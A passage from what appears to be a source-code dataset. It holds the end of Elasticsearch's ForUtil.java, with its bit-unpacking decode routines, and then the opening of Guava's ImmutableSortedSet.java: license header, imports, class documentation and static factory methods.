shiftLongs(tmp, 14, longs, 0, 1, MASK8_7);
shiftLongs(tmp, 14, tmp, 0, 0, MASK8_1);
for (int iter = 0, tmpIdx = 0, longsIdx = 14; iter < 2; ++iter, tmpIdx += 7, longsIdx += 1) {
long l0 = tmp[tmpIdx + 0] << 6;
l0 |= tmp[tmpIdx + 1] << 5;
l0 |= tmp[tmpIdx + 2] << 4;
l0 |= tmp[tmpIdx + 3] << 3;
l0 |= tmp[tmpIdx + 4] << 2;
l0 |= tmp[tmpIdx + 5] << 1;
l0 |= tmp[tmpIdx + 6] << 0;
longs[longsIdx + 0] = l0;
}
}
private static void decode8(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(longs, 0, 16);
}
private static void decode9(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 18);
shiftLongs(tmp, 18, longs, 0, 7, MASK16_9);
for (int iter = 0, tmpIdx = 0, longsIdx = 18; iter < 2; ++iter, tmpIdx += 9, longsIdx += 7) {
long l0 = (tmp[tmpIdx + 0] & MASK16_7) << 2;
l0 |= (tmp[tmpIdx + 1] >>> 5) & MASK16_2;
longs[longsIdx + 0] = l0;
long l1 = (tmp[tmpIdx + 1] & MASK16_5) << 4;
l1 |= (tmp[tmpIdx + 2] >>> 3) & MASK16_4;
longs[longsIdx + 1] = l1;
long l2 = (tmp[tmpIdx + 2] & MASK16_3) << 6;
l2 |= (tmp[tmpIdx + 3] >>> 1) & MASK16_6;
longs[longsIdx + 2] = l2;
long l3 = (tmp[tmpIdx + 3] & MASK16_1) << 8;
l3 |= (tmp[tmpIdx + 4] & MASK16_7) << 1;
l3 |= (tmp[tmpIdx + 5] >>> 6) & MASK16_1;
longs[longsIdx + 3] = l3;
long l4 = (tmp[tmpIdx + 5] & MASK16_6) << 3;
l4 |= (tmp[tmpIdx + 6] >>> 4) & MASK16_3;
longs[longsIdx + 4] = l4;
long l5 = (tmp[tmpIdx + 6] & MASK16_4) << 5;
l5 |= (tmp[tmpIdx + 7] >>> 2) & MASK16_5;
longs[longsIdx + 5] = l5;
long l6 = (tmp[tmpIdx + 7] & MASK16_2) << 7;
l6 |= (tmp[tmpIdx + 8] & MASK16_7) << 0;
longs[longsIdx + 6] = l6;
}
}
private static void decode10(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 20);
shiftLongs(tmp, 20, longs, 0, 6, MASK16_10);
for (int iter = 0, tmpIdx = 0, longsIdx = 20; iter < 4; ++iter, tmpIdx += 5, longsIdx += 3) {
long l0 = (tmp[tmpIdx + 0] & MASK16_6) << 4;
l0 |= (tmp[tmpIdx + 1] >>> 2) & MASK16_4;
longs[longsIdx + 0] = l0;
long l1 = (tmp[tmpIdx + 1] & MASK16_2) << 8;
l1 |= (tmp[tmpIdx + 2] & MASK16_6) << 2;
l1 |= (tmp[tmpIdx + 3] >>> 4) & MASK16_2;
longs[longsIdx + 1] = l1;
long l2 = (tmp[tmpIdx + 3] & MASK16_4) << 6;
l2 |= (tmp[tmpIdx + 4] & MASK16_6) << 0;
longs[longsIdx + 2] = l2;
}
}
private static void decode11(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 22);
shiftLongs(tmp, 22, longs, 0, 5, MASK16_11);
for (int iter = 0, tmpIdx = 0, longsIdx = 22; iter < 2; ++iter, tmpIdx += 11, longsIdx += 5) {
long l0 = (tmp[tmpIdx + 0] & MASK16_5) << 6;
l0 |= (tmp[tmpIdx + 1] & MASK16_5) << 1;
l0 |= (tmp[tmpIdx + 2] >>> 4) & MASK16_1;
longs[longsIdx + 0] = l0;
long l1 = (tmp[tmpIdx + 2] & MASK16_4) << 7;
l1 |= (tmp[tmpIdx + 3] & MASK16_5) << 2;
l1 |= (tmp[tmpIdx + 4] >>> 3) & MASK16_2;
longs[longsIdx + 1] = l1;
long l2 = (tmp[tmpIdx + 4] & MASK16_3) << 8;
l2 |= (tmp[tmpIdx + 5] & MASK16_5) << 3;
l2 |= (tmp[tmpIdx + 6] >>> 2) & MASK16_3;
longs[longsIdx + 2] = l2;
long l3 = (tmp[tmpIdx + 6] & MASK16_2) << 9;
l3 |= (tmp[tmpIdx + 7] & MASK16_5) << 4;
l3 |= (tmp[tmpIdx + 8] >>> 1) & MASK16_4;
longs[longsIdx + 3] = l3;
long l4 = (tmp[tmpIdx + 8] & MASK16_1) << 10;
l4 |= (tmp[tmpIdx + 9] & MASK16_5) << 5;
l4 |= (tmp[tmpIdx + 10] & MASK16_5) << 0;
longs[longsIdx + 4] = l4;
}
}
private static void decode12(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 24);
shiftLongs(tmp, 24, longs, 0, 4, MASK16_12);
shiftLongs(tmp, 24, tmp, 0, 0, MASK16_4);
for (int iter = 0, tmpIdx = 0, longsIdx = 24; iter < 8; ++iter, tmpIdx += 3, longsIdx += 1) {
long l0 = tmp[tmpIdx + 0] << 8;
l0 |= tmp[tmpIdx + 1] << 4;
l0 |= tmp[tmpIdx + 2] << 0;
longs[longsIdx + 0] = l0;
}
}
private static void decode13(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 26);
shiftLongs(tmp, 26, longs, 0, 3, MASK16_13);
for (int iter = 0, tmpIdx = 0, longsIdx = 26; iter < 2; ++iter, tmpIdx += 13, longsIdx += 3) {
long l0 = (tmp[tmpIdx + 0] & MASK16_3) << 10;
l0 |= (tmp[tmpIdx + 1] & MASK16_3) << 7;
l0 |= (tmp[tmpIdx + 2] & MASK16_3) << 4;
l0 |= (tmp[tmpIdx + 3] & MASK16_3) << 1;
l0 |= (tmp[tmpIdx + 4] >>> 2) & MASK16_1;
longs[longsIdx + 0] = l0;
long l1 = (tmp[tmpIdx + 4] & MASK16_2) << 11;
l1 |= (tmp[tmpIdx + 5] & MASK16_3) << 8;
l1 |= (tmp[tmpIdx + 6] & MASK16_3) << 5;
l1 |= (tmp[tmpIdx + 7] & MASK16_3) << 2;
l1 |= (tmp[tmpIdx + 8] >>> 1) & MASK16_2;
longs[longsIdx + 1] = l1;
long l2 = (tmp[tmpIdx + 8] & MASK16_1) << 12;
l2 |= (tmp[tmpIdx + 9] & MASK16_3) << 9;
l2 |= (tmp[tmpIdx + 10] & MASK16_3) << 6;
l2 |= (tmp[tmpIdx + 11] & MASK16_3) << 3;
l2 |= (tmp[tmpIdx + 12] & MASK16_3) << 0;
longs[longsIdx + 2] = l2;
}
}
private static void decode14(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 28);
shiftLongs(tmp, 28, longs, 0, 2, MASK16_14);
shiftLongs(tmp, 28, tmp, 0, 0, MASK16_2);
for (int iter = 0, tmpIdx = 0, longsIdx = 28; iter < 4; ++iter, tmpIdx += 7, longsIdx += 1) {
long l0 = tmp[tmpIdx + 0] << 12;
l0 |= tmp[tmpIdx + 1] << 10;
l0 |= tmp[tmpIdx + 2] << 8;
l0 |= tmp[tmpIdx + 3] << 6;
l0 |= tmp[tmpIdx + 4] << 4;
l0 |= tmp[tmpIdx + 5] << 2;
l0 |= tmp[tmpIdx + 6] << 0;
longs[longsIdx + 0] = l0;
}
}
private static void decode15(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 30);
shiftLongs(tmp, 30, longs, 0, 1, MASK16_15);
shiftLongs(tmp, 30, tmp, 0, 0, MASK16_1);
for (int iter = 0, tmpIdx = 0, longsIdx = 30; iter < 2; ++iter, tmpIdx += 15, longsIdx += 1) {
long l0 = tmp[tmpIdx + 0] << 14;
l0 |= tmp[tmpIdx + 1] << 13;
l0 |= tmp[tmpIdx + 2] << 12;
l0 |= tmp[tmpIdx + 3] << 11;
l0 |= tmp[tmpIdx + 4] << 10;
l0 |= tmp[tmpIdx + 5] << 9;
l0 |= tmp[tmpIdx + 6] << 8;
l0 |= tmp[tmpIdx + 7] << 7;
l0 |= tmp[tmpIdx + 8] << 6;
l0 |= tmp[tmpIdx + 9] << 5;
l0 |= tmp[tmpIdx + 10] << 4;
l0 |= tmp[tmpIdx + 11] << 3;
l0 |= tmp[tmpIdx + 12] << 2;
l0 |= tmp[tmpIdx + 13] << 1;
l0 |= tmp[tmpIdx + 14] << 0;
longs[longsIdx + 0] = l0;
}
}
private static void decode16(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(longs, 0, 32);
}
private static void decode17(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 34);
shiftLongs(tmp, 34, longs, 0, 15, MASK32_17);
for (int iter = 0, tmpIdx = 0, longsIdx = 34; iter < 2; ++iter, tmpIdx += 17, longsIdx += 15) {
long l0 = (tmp[tmpIdx + 0] & MASK32_15) << 2;
l0 |= (tmp[tmpIdx + 1] >>> 13) & MASK32_2;
longs[longsIdx + 0] = l0;
long l1 = (tmp[tmpIdx + 1] & MASK32_13) << 4;
l1 |= (tmp[tmpIdx + 2] >>> 11) & MASK32_4;
longs[longsIdx + 1] = l1;
long l2 = (tmp[tmpIdx + 2] & MASK32_11) << 6;
l2 |= (tmp[tmpIdx + 3] >>> 9) & MASK32_6;
longs[longsIdx + 2] = l2;
long l3 = (tmp[tmpIdx + 3] & MASK32_9) << 8;
l3 |= (tmp[tmpIdx + 4] >>> 7) & MASK32_8;
longs[longsIdx + 3] = l3;
long l4 = (tmp[tmpIdx + 4] & MASK32_7) << 10;
l4 |= (tmp[tmpIdx + 5] >>> 5) & MASK32_10;
longs[longsIdx + 4] = l4;
long l5 = (tmp[tmpIdx + 5] & MASK32_5) << 12;
l5 |= (tmp[tmpIdx + 6] >>> 3) & MASK32_12;
longs[longsIdx + 5] = l5;
long l6 = (tmp[tmpIdx + 6] & MASK32_3) << 14;
l6 |= (tmp[tmpIdx + 7] >>> 1) & MASK32_14;
longs[longsIdx + 6] = l6;
long l7 = (tmp[tmpIdx + 7] & MASK32_1) << 16;
l7 |= (tmp[tmpIdx + 8] & MASK32_15) << 1;
l7 |= (tmp[tmpIdx + 9] >>> 14) & MASK32_1;
longs[longsIdx + 7] = l7;
long l8 = (tmp[tmpIdx + 9] & MASK32_14) << 3;
l8 |= (tmp[tmpIdx + 10] >>> 12) & MASK32_3;
longs[longsIdx + 8] = l8;
long l9 = (tmp[tmpIdx + 10] & MASK32_12) << 5;
l9 |= (tmp[tmpIdx + 11] >>> 10) & MASK32_5;
longs[longsIdx + 9] = l9;
long l10 = (tmp[tmpIdx + 11] & MASK32_10) << 7;
l10 |= (tmp[tmpIdx + 12] >>> 8) & MASK32_7;
longs[longsIdx + 10] = l10;
long l11 = (tmp[tmpIdx + 12] & MASK32_8) << 9;
l11 |= (tmp[tmpIdx + 13] >>> 6) & MASK32_9;
longs[longsIdx + 11] = l11;
long l12 = (tmp[tmpIdx + 13] & MASK32_6) << 11;
l12 |= (tmp[tmpIdx + 14] >>> 4) & MASK32_11;
longs[longsIdx + 12] = l12;
long l13 = (tmp[tmpIdx + 14] & MASK32_4) << 13;
l13 |= (tmp[tmpIdx + 15] >>> 2) & MASK32_13;
longs[longsIdx + 13] = l13;
long l14 = (tmp[tmpIdx + 15] & MASK32_2) << 15;
l14 |= (tmp[tmpIdx + 16] & MASK32_15) << 0;
longs[longsIdx + 14] = l14;
}
}
private static void decode18(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 36);
shiftLongs(tmp, 36, longs, 0, 14, MASK32_18);
for (int iter = 0, tmpIdx = 0, longsIdx = 36; iter < 4; ++iter, tmpIdx += 9, longsIdx += 7) {
long l0 = (tmp[tmpIdx + 0] & MASK32_14) << 4;
l0 |= (tmp[tmpIdx + 1] >>> 10) & MASK32_4;
longs[longsIdx + 0] = l0;
long l1 = (tmp[tmpIdx + 1] & MASK32_10) << 8;
l1 |= (tmp[tmpIdx + 2] >>> 6) & MASK32_8;
longs[longsIdx + 1] = l1;
long l2 = (tmp[tmpIdx + 2] & MASK32_6) << 12;
l2 |= (tmp[tmpIdx + 3] >>> 2) & MASK32_12;
longs[longsIdx + 2] = l2;
long l3 = (tmp[tmpIdx + 3] & MASK32_2) << 16;
l3 |= (tmp[tmpIdx + 4] & MASK32_14) << 2;
l3 |= (tmp[tmpIdx + 5] >>> 12) & MASK32_2;
longs[longsIdx + 3] = l3;
long l4 = (tmp[tmpIdx + 5] & MASK32_12) << 6;
l4 |= (tmp[tmpIdx + 6] >>> 8) & MASK32_6;
longs[longsIdx + 4] = l4;
long l5 = (tmp[tmpIdx + 6] & MASK32_8) << 10;
l5 |= (tmp[tmpIdx + 7] >>> 4) & MASK32_10;
longs[longsIdx + 5] = l5;
long l6 = (tmp[tmpIdx + 7] & MASK32_4) << 14;
l6 |= (tmp[tmpIdx + 8] & MASK32_14) << 0;
longs[longsIdx + 6] = l6;
}
}
private static void decode19(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 38);
shiftLongs(tmp, 38, longs, 0, 13, MASK32_19);
for (int iter = 0, tmpIdx = 0, longsIdx = 38; iter < 2; ++iter, tmpIdx += 19, longsIdx += 13) {
long l0 = (tmp[tmpIdx + 0] & MASK32_13) << 6;
l0 |= (tmp[tmpIdx + 1] >>> 7) & MASK32_6;
longs[longsIdx + 0] = l0;
long l1 = (tmp[tmpIdx + 1] & MASK32_7) << 12;
l1 |= (tmp[tmpIdx + 2] >>> 1) & MASK32_12;
longs[longsIdx + 1] = l1;
long l2 = (tmp[tmpIdx + 2] & MASK32_1) << 18;
l2 |= (tmp[tmpIdx + 3] & MASK32_13) << 5;
l2 |= (tmp[tmpIdx + 4] >>> 8) & MASK32_5;
longs[longsIdx + 2] = l2;
long l3 = (tmp[tmpIdx + 4] & MASK32_8) << 11;
l3 |= (tmp[tmpIdx + 5] >>> 2) & MASK32_11;
longs[longsIdx + 3] = l3;
long l4 = (tmp[tmpIdx + 5] & MASK32_2) << 17;
l4 |= (tmp[tmpIdx + 6] & MASK32_13) << 4;
l4 |= (tmp[tmpIdx + 7] >>> 9) & MASK32_4;
longs[longsIdx + 4] = l4;
long l5 = (tmp[tmpIdx + 7] & MASK32_9) << 10;
l5 |= (tmp[tmpIdx + 8] >>> 3) & MASK32_10;
longs[longsIdx + 5] = l5;
long l6 = (tmp[tmpIdx + 8] & MASK32_3) << 16;
l6 |= (tmp[tmpIdx + 9] & MASK32_13) << 3;
l6 |= (tmp[tmpIdx + 10] >>> 10) & MASK32_3;
longs[longsIdx + 6] = l6;
long l7 = (tmp[tmpIdx + 10] & MASK32_10) << 9;
l7 |= (tmp[tmpIdx + 11] >>> 4) & MASK32_9;
longs[longsIdx + 7] = l7;
long l8 = (tmp[tmpIdx + 11] & MASK32_4) << 15;
l8 |= (tmp[tmpIdx + 12] & MASK32_13) << 2;
l8 |= (tmp[tmpIdx + 13] >>> 11) & MASK32_2;
longs[longsIdx + 8] = l8;
long l9 = (tmp[tmpIdx + 13] & MASK32_11) << 8;
l9 |= (tmp[tmpIdx + 14] >>> 5) & MASK32_8;
longs[longsIdx + 9] = l9;
long l10 = (tmp[tmpIdx + 14] & MASK32_5) << 14;
l10 |= (tmp[tmpIdx + 15] & MASK32_13) << 1;
l10 |= (tmp[tmpIdx + 16] >>> 12) & MASK32_1;
longs[longsIdx + 10] = l10;
long l11 = (tmp[tmpIdx + 16] & MASK32_12) << 7;
l11 |= (tmp[tmpIdx + 17] >>> 6) & MASK32_7;
longs[longsIdx + 11] = l11;
long l12 = (tmp[tmpIdx + 17] & MASK32_6) << 13;
l12 |= (tmp[tmpIdx + 18] & MASK32_13) << 0;
longs[longsIdx + 12] = l12;
}
}
private static void decode20(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 40);
shiftLongs(tmp, 40, longs, 0, 12, MASK32_20);
for (int iter = 0, tmpIdx = 0, longsIdx = 40; iter < 8; ++iter, tmpIdx += 5, longsIdx += 3) {
long l0 = (tmp[tmpIdx + 0] & MASK32_12) << 8;
l0 |= (tmp[tmpIdx + 1] >>> 4) & MASK32_8;
longs[longsIdx + 0] = l0;
long l1 = (tmp[tmpIdx + 1] & MASK32_4) << 16;
l1 |= (tmp[tmpIdx + 2] & MASK32_12) << 4;
l1 |= (tmp[tmpIdx + 3] >>> 8) & MASK32_4;
longs[longsIdx + 1] = l1;
long l2 = (tmp[tmpIdx + 3] & MASK32_8) << 12;
l2 |= (tmp[tmpIdx + 4] & MASK32_12) << 0;
longs[longsIdx + 2] = l2;
}
}
private static void decode21(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 42);
shiftLongs(tmp, 42, longs, 0, 11, MASK32_21);
for (int iter = 0, tmpIdx = 0, longsIdx = 42; iter < 2; ++iter, tmpIdx += 21, longsIdx += 11) {
long l0 = (tmp[tmpIdx + 0] & MASK32_11) << 10;
l0 |= (tmp[tmpIdx + 1] >>> 1) & MASK32_10;
longs[longsIdx + 0] = l0;
long l1 = (tmp[tmpIdx + 1] & MASK32_1) << 20;
l1 |= (tmp[tmpIdx + 2] & MASK32_11) << 9;
l1 |= (tmp[tmpIdx + 3] >>> 2) & MASK32_9;
longs[longsIdx + 1] = l1;
long l2 = (tmp[tmpIdx + 3] & MASK32_2) << 19;
l2 |= (tmp[tmpIdx + 4] & MASK32_11) << 8;
l2 |= (tmp[tmpIdx + 5] >>> 3) & MASK32_8;
longs[longsIdx + 2] = l2;
long l3 = (tmp[tmpIdx + 5] & MASK32_3) << 18;
l3 |= (tmp[tmpIdx + 6] & MASK32_11) << 7;
l3 |= (tmp[tmpIdx + 7] >>> 4) & MASK32_7;
longs[longsIdx + 3] = l3;
long l4 = (tmp[tmpIdx + 7] & MASK32_4) << 17;
l4 |= (tmp[tmpIdx + 8] & MASK32_11) << 6;
l4 |= (tmp[tmpIdx + 9] >>> 5) & MASK32_6;
longs[longsIdx + 4] = l4;
long l5 = (tmp[tmpIdx + 9] & MASK32_5) << 16;
l5 |= (tmp[tmpIdx + 10] & MASK32_11) << 5;
l5 |= (tmp[tmpIdx + 11] >>> 6) & MASK32_5;
longs[longsIdx + 5] = l5;
long l6 = (tmp[tmpIdx + 11] & MASK32_6) << 15;
l6 |= (tmp[tmpIdx + 12] & MASK32_11) << 4;
l6 |= (tmp[tmpIdx + 13] >>> 7) & MASK32_4;
longs[longsIdx + 6] = l6;
long l7 = (tmp[tmpIdx + 13] & MASK32_7) << 14;
l7 |= (tmp[tmpIdx + 14] & MASK32_11) << 3;
l7 |= (tmp[tmpIdx + 15] >>> 8) & MASK32_3;
longs[longsIdx + 7] = l7;
long l8 = (tmp[tmpIdx + 15] & MASK32_8) << 13;
l8 |= (tmp[tmpIdx + 16] & MASK32_11) << 2;
l8 |= (tmp[tmpIdx + 17] >>> 9) & MASK32_2;
longs[longsIdx + 8] = l8;
long l9 = (tmp[tmpIdx + 17] & MASK32_9) << 12;
l9 |= (tmp[tmpIdx + 18] & MASK32_11) << 1;
l9 |= (tmp[tmpIdx + 19] >>> 10) & MASK32_1;
longs[longsIdx + 9] = l9;
long l10 = (tmp[tmpIdx + 19] & MASK32_10) << 11;
l10 |= (tmp[tmpIdx + 20] & MASK32_11) << 0;
longs[longsIdx + 10] = l10;
}
}
private static void decode22(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 44);
shiftLongs(tmp, 44, longs, 0, 10, MASK32_22);
for (int iter = 0, tmpIdx = 0, longsIdx = 44; iter < 4; ++iter, tmpIdx += 11, longsIdx += 5) {
long l0 = (tmp[tmpIdx + 0] & MASK32_10) << 12;
l0 |= (tmp[tmpIdx + 1] & MASK32_10) << 2;
l0 |= (tmp[tmpIdx + 2] >>> 8) & MASK32_2;
longs[longsIdx + 0] = l0;
long l1 = (tmp[tmpIdx + 2] & MASK32_8) << 14;
l1 |= (tmp[tmpIdx + 3] & MASK32_10) << 4;
l1 |= (tmp[tmpIdx + 4] >>> 6) & MASK32_4;
longs[longsIdx + 1] = l1;
long l2 = (tmp[tmpIdx + 4] & MASK32_6) << 16;
l2 |= (tmp[tmpIdx + 5] & MASK32_10) << 6;
l2 |= (tmp[tmpIdx + 6] >>> 4) & MASK32_6;
longs[longsIdx + 2] = l2;
long l3 = (tmp[tmpIdx + 6] & MASK32_4) << 18;
l3 |= (tmp[tmpIdx + 7] & MASK32_10) << 8;
l3 |= (tmp[tmpIdx + 8] >>> 2) & MASK32_8;
longs[longsIdx + 3] = l3;
long l4 = (tmp[tmpIdx + 8] & MASK32_2) << 20;
l4 |= (tmp[tmpIdx + 9] & MASK32_10) << 10;
l4 |= (tmp[tmpIdx + 10] & MASK32_10) << 0;
longs[longsIdx + 4] = l4;
}
}
private static void decode23(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 46);
shiftLongs(tmp, 46, longs, 0, 9, MASK32_23);
for (int iter = 0, tmpIdx = 0, longsIdx = 46; iter < 2; ++iter, tmpIdx += 23, longsIdx += 9) {
long l0 = (tmp[tmpIdx + 0] & MASK32_9) << 14;
l0 |= (tmp[tmpIdx + 1] & MASK32_9) << 5;
l0 |= (tmp[tmpIdx + 2] >>> 4) & MASK32_5;
longs[longsIdx + 0] = l0;
long l1 = (tmp[tmpIdx + 2] & MASK32_4) << 19;
l1 |= (tmp[tmpIdx + 3] & MASK32_9) << 10;
l1 |= (tmp[tmpIdx + 4] & MASK32_9) << 1;
l1 |= (tmp[tmpIdx + 5] >>> 8) & MASK32_1;
longs[longsIdx + 1] = l1;
long l2 = (tmp[tmpIdx + 5] & MASK32_8) << 15;
l2 |= (tmp[tmpIdx + 6] & MASK32_9) << 6;
l2 |= (tmp[tmpIdx + 7] >>> 3) & MASK32_6;
longs[longsIdx + 2] = l2;
long l3 = (tmp[tmpIdx + 7] & MASK32_3) << 20;
l3 |= (tmp[tmpIdx + 8] & MASK32_9) << 11;
l3 |= (tmp[tmpIdx + 9] & MASK32_9) << 2;
l3 |= (tmp[tmpIdx + 10] >>> 7) & MASK32_2;
longs[longsIdx + 3] = l3;
long l4 = (tmp[tmpIdx + 10] & MASK32_7) << 16;
l4 |= (tmp[tmpIdx + 11] & MASK32_9) << 7;
l4 |= (tmp[tmpIdx + 12] >>> 2) & MASK32_7;
longs[longsIdx + 4] = l4;
long l5 = (tmp[tmpIdx + 12] & MASK32_2) << 21;
l5 |= (tmp[tmpIdx + 13] & MASK32_9) << 12;
l5 |= (tmp[tmpIdx + 14] & MASK32_9) << 3;
l5 |= (tmp[tmpIdx + 15] >>> 6) & MASK32_3;
longs[longsIdx + 5] = l5;
long l6 = (tmp[tmpIdx + 15] & MASK32_6) << 17;
l6 |= (tmp[tmpIdx + 16] & MASK32_9) << 8;
l6 |= (tmp[tmpIdx + 17] >>> 1) & MASK32_8;
longs[longsIdx + 6] = l6;
long l7 = (tmp[tmpIdx + 17] & MASK32_1) << 22;
l7 |= (tmp[tmpIdx + 18] & MASK32_9) << 13;
l7 |= (tmp[tmpIdx + 19] & MASK32_9) << 4;
l7 |= (tmp[tmpIdx + 20] >>> 5) & MASK32_4;
longs[longsIdx + 7] = l7;
long l8 = (tmp[tmpIdx + 20] & MASK32_5) << 18;
l8 |= (tmp[tmpIdx + 21] & MASK32_9) << 9;
l8 |= (tmp[tmpIdx + 22] & MASK32_9) << 0;
longs[longsIdx + 8] = l8;
}
}
private static void decode24(DataInput in, long[] tmp, long[] longs) throws IOException {
in.readLongs(tmp, 0, 48);
shiftLongs(tmp, 48, longs, 0, 8, MASK32_24);
shiftLongs(tmp, 48, tmp, 0, 0, MASK32_8);
for (int iter = 0, tmpIdx = 0, longsIdx = 48; iter < 16; ++iter, tmpIdx += 3, longsIdx += 1) {
long l0 = tmp[tmpIdx + 0] << 16;
l0 |= tmp[tmpIdx + 1] << 8;
l0 |= tmp[tmpIdx + 2] << 0;
longs[longsIdx + 0] = l0;
}
}
}
| elastic/elasticsearch | server/src/main/java/org/elasticsearch/index/codec/ForUtil.java |
1,400 | /*
* Copyright (C) 2008 The Guava Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.google.common.collect;
import static com.google.common.base.Preconditions.checkArgument;
import static com.google.common.base.Preconditions.checkNotNull;
import static com.google.common.collect.ObjectArrays.checkElementsNotNull;
import com.google.common.annotations.GwtCompatible;
import com.google.common.annotations.GwtIncompatible;
import com.google.common.annotations.J2ktIncompatible;
import com.google.errorprone.annotations.CanIgnoreReturnValue;
import com.google.errorprone.annotations.DoNotCall;
import com.google.errorprone.annotations.concurrent.LazyInit;
import java.io.InvalidObjectException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.util.Arrays;
import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.Iterator;
import java.util.NavigableSet;
import java.util.SortedSet;
import java.util.Spliterator;
import java.util.Spliterators;
import java.util.function.Consumer;
import java.util.stream.Collector;
import javax.annotation.CheckForNull;
import org.checkerframework.checker.nullness.qual.Nullable;
/**
* A {@link NavigableSet} whose contents will never change, with many other important properties
* detailed at {@link ImmutableCollection}.
*
* <p><b>Warning:</b> as with any sorted collection, you are strongly advised not to use a {@link
* Comparator} or {@link Comparable} type whose comparison behavior is <i>inconsistent with
* equals</i>. That is, {@code a.compareTo(b)} or {@code comparator.compare(a, b)} should equal zero
* <i>if and only if</i> {@code a.equals(b)}. If this advice is not followed, the resulting
* collection will not correctly obey its specification.
*
* <p>See the Guava User Guide article on <a href=
* "https://github.com/google/guava/wiki/ImmutableCollectionsExplained">immutable collections</a>.
*
* @author Jared Levy
* @author Louis Wasserman
* @since 2.0 (implements {@code NavigableSet} since 12.0)
*/
// TODO(benyu): benchmark and optimize all creation paths, which are a mess now
@GwtCompatible(serializable = true, emulated = true)
@SuppressWarnings("serial") // we're overriding default serialization
@ElementTypesAreNonnullByDefault
public abstract class ImmutableSortedSet<E> extends ImmutableSet.CachingAsList<E>
implements NavigableSet<E>, SortedIterable<E> {
static final int SPLITERATOR_CHARACTERISTICS =
ImmutableSet.SPLITERATOR_CHARACTERISTICS | Spliterator.SORTED;
/**
* Returns a {@code Collector} that accumulates the input elements into a new {@code
* ImmutableSortedSet}, ordered by the specified comparator.
*
* <p>If the elements contain duplicates (according to the comparator), only the first duplicate
* in encounter order will appear in the result.
*
* @since 21.0
*/
public static <E> Collector<E, ?, ImmutableSortedSet<E>> toImmutableSortedSet(
Comparator<? super E> comparator) {
return CollectCollectors.toImmutableSortedSet(comparator);
}
static <E> RegularImmutableSortedSet<E> emptySet(Comparator<? super E> comparator) {
if (Ordering.natural().equals(comparator)) {
@SuppressWarnings("unchecked") // The natural-ordered empty set supports all types.
RegularImmutableSortedSet<E> result =
(RegularImmutableSortedSet<E>) RegularImmutableSortedSet.NATURAL_EMPTY_SET;
return result;
} else {
return new RegularImmutableSortedSet<>(ImmutableList.of(), comparator);
}
}
/**
* Returns the empty immutable sorted set.
*
* <p><b>Performance note:</b> the instance returned is a singleton.
*/
@SuppressWarnings("unchecked") // The natural-ordered empty set supports all types.
public static <E> ImmutableSortedSet<E> of() {
return (ImmutableSortedSet<E>) RegularImmutableSortedSet.NATURAL_EMPTY_SET;
}
/** Returns an immutable sorted set containing a single element. */
public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E e1) {
return new RegularImmutableSortedSet<>(ImmutableList.of(e1), Ordering.natural());
}
/**
* Returns an immutable sorted set containing the given elements sorted by their natural ordering.
* When multiple elements are equivalent according to {@link Comparable#compareTo}, only the first
* one specified is included.
*
* @throws NullPointerException if any element is null
*/
public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E e1, E e2) {
return construct(Ordering.natural(), 2, e1, e2);
}
/**
* Returns an immutable sorted set containing the given elements sorted by their natural ordering.
* When multiple elements are equivalent according to {@link Comparable#compareTo}, only the first
* one specified is included.
*
* @throws NullPointerException if any element is null
*/
public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E e1, E e2, E e3) {
return construct(Ordering.natural(), 3, e1, e2, e3);
}
/**
* Returns an immutable sorted set containing the given elements sorted by their natural ordering.
* When multiple elements are equivalent according to {@link Comparable#compareTo}, only the first
* one specified is included.
*
* @throws NullPointerException if any element is null
*/
public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(E e1, E e2, E e3, E e4) {
return construct(Ordering.natural(), 4, e1, e2, e3, e4);
}
/**
* Returns an immutable sorted set containing the given elements sorted by their natural ordering.
* When multiple elements are equivalent according to {@link Comparable#compareTo}, only the first
* one specified is included.
*
* @throws NullPointerException if any element is null
*/
public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(
E e1, E e2, E e3, E e4, E e5) {
return construct(Ordering.natural(), 5, e1, e2, e3, e4, e5);
}
/**
* Returns an immutable sorted set containing the given elements sorted by their natural ordering.
* When multiple elements are equivalent according to {@link Comparable#compareTo}, only the first
* one specified is included.
*
* @throws NullPointerException if any element is null
* @since 3.0 (source-compatible since 2.0)
*/
@SuppressWarnings("unchecked")
public static <E extends Comparable<? super E>> ImmutableSortedSet<E> of(
E e1, E e2, E e3, E e4, E e5, E e6, E... remaining) {
Comparable<?>[] contents = new Comparable<?>[6 + remaining.length];
contents[0] = e1;
contents[1] = e2;
contents[2] = e3;
contents[3] = e4;
contents[4] = e5;
contents[5] = e6;
System.arraycopy(remaining, 0, contents, 6, remaining.length);
return construct(Ordering.natural(), contents.length, (E[]) contents);
}
// TODO(kevinb): Consider factory methods that reject duplicates
/**
